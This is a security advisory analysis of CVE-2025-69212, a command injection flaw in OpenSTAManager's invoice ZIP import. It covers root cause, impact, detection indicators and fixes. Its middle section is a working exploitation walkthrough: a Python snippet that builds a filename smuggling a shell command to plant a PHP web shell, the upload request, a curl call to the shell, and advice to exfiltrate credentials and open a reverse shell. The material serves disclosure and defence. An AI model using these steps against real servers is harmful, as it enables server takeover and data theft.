CVE-2025-69212: 
PHP vulnerability analysis and mitigation

CVE-2025-69212 is a critical OS Command Injection vulnerability in OpenSTAManager's P7M (signed XML) file decoding functionality. Affecting all versions up to and including 2.9.8, it allows an authenticated attacker with access to the invoice import feature to upload a crafted ZIP file containing a .p7m file with a malicious filename, triggering arbitrary OS command execution on the server. The vulnerability was discovered by Łukasz Rybak and disclosed on February 6, 2026. It carries a CVSS v3.1 score of 8.8 (High) and a CVSS v4.0 score of 9.4 (Critical) (GitHub Advisory, OSM Security Advisory).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In src/Util/XML.php at line 100, the decodeP7M() method passes the $file parameter directly into PHP's exec() function without sanitization: exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', ...). Although the filename is wrapped in double quotes, an attacker can escape them using shell metacharacters. The filename originates from user-controlled ZIP archive contents processed by plugins/importFE_ZIP/actions.php (line 126) and plugins/importFE/src/FatturaElettronica.php (line 56). A malicious filename such as invoice.p7m";{cmd};echo ".p7m breaks out of the quoted argument and injects arbitrary shell commands (GitHub Advisory, OSM Security Advisory).

Successful exploitation grants the attacker remote code execution as the web server user (e.g., www-data), enabling full server compromise. All application data and database contents are exposed, and the attacker can install persistent backdoors (e.g., PHP web shells in the publicly accessible files/ directory) that remain accessible without authentication. If the web server runs with elevated privileges, further privilege escalation is possible, and the compromised host can serve as a pivot point for lateral movement to other systems on the network (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, including a Python script to craft the malicious ZIP and the exact HTTP request to trigger exploitation. The advisory was also indexed by Sploitus. As of the time of disclosure, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.152% (36th percentile), and the vulnerability is not currently listed in the CISA KEV catalog (GitHub Advisory, OSM Security Advisory).

1. Authenticate: Obtain valid credentials for an OpenSTAManager account with access to the invoice import functionality (module 14, plugin 48).
2. Craft malicious ZIP: Use Python's zipfile module to create a ZIP archive containing a file with a shell-injection filename:

import zipfile
cmd = "cd files && echo '' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

3. Upload the ZIP: Send a multipart POST request to /actions.php with the crafted exploit.zip, including the session cookie and required form fields (op=save, id_module=14, id_plugin=48).
4. Trigger command execution: The application extracts the ZIP, iterates filenames, and calls XML::decodeP7M() on the .p7m file. The malicious filename is injected into the exec() call, executing the embedded shell command as the web server user. A 500 error response is expected (XML parsing fails after command execution).
5. Access the web shell: The planted SHELL.php is publicly accessible without authentication:

curl "http://target/files/SHELL.php?c=id"
# Returns: uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. Escalate and persist: Use the web shell to enumerate the system, exfiltrate database credentials, establish a reverse shell, or install additional backdoors for persistent access (GitHub Advisory, OSM Security Advisory).

• Network: Unusual multipart POST requests to /actions.php with id_module=14 and id_plugin=48 containing ZIP file uploads; unexpected outbound connections from the web server process to external IPs.
• File System: Unexpected .php files in the files/ directory (e.g., SHELL.php, cmd.php); ZIP archives with filenames containing shell metacharacters (;, &, |, ") in the upload directory; .p7m files with anomalous filenames in temporary extraction directories.
• Logs: Web server access logs showing POST requests to /actions.php followed shortly by GET requests to files/*.php with query parameters like ?c= or ?cmd=; PHP error logs showing exec() calls with malformed openssl command strings; HTTP 500 responses to /actions.php immediately preceding successful shell access.
• Process: Unexpected child processes spawned by the PHP/web server process (e.g., sh, bash, curl, wget, python) with unusual arguments; openssl invocations with command-injected arguments visible in process listings (GitHub Advisory).

As of the advisory publication date (February 6, 2026), no patched version of OpenSTAManager has been released — the advisory lists "None" for patched versions. The recommended remediations are code-level fixes: either use escapeshellarg() on the $file and $output_file parameters before passing them to exec() in src/Util/XML.php, or validate ZIP entry filenames against a strict allowlist (e.g., /^[a-zA-Z0-9._-]+$/) before processing. As interim workarounds, restrict access to the invoice import functionality to trusted users only, implement network segmentation to limit lateral movement, and run the web server with minimal required privileges. Monitor system logs for suspicious command execution activity (GitHub Advisory, OSM Security Advisory).

The vulnerability was reported by security researcher Łukasz Rybak and published via GitHub's security advisory system. It received coverage from The Hacker Wire and was noted on Bluesky by the same outlet. No significant vendor statements beyond the advisory itself or major analyst commentary have been identified at this time (GitHub Advisory).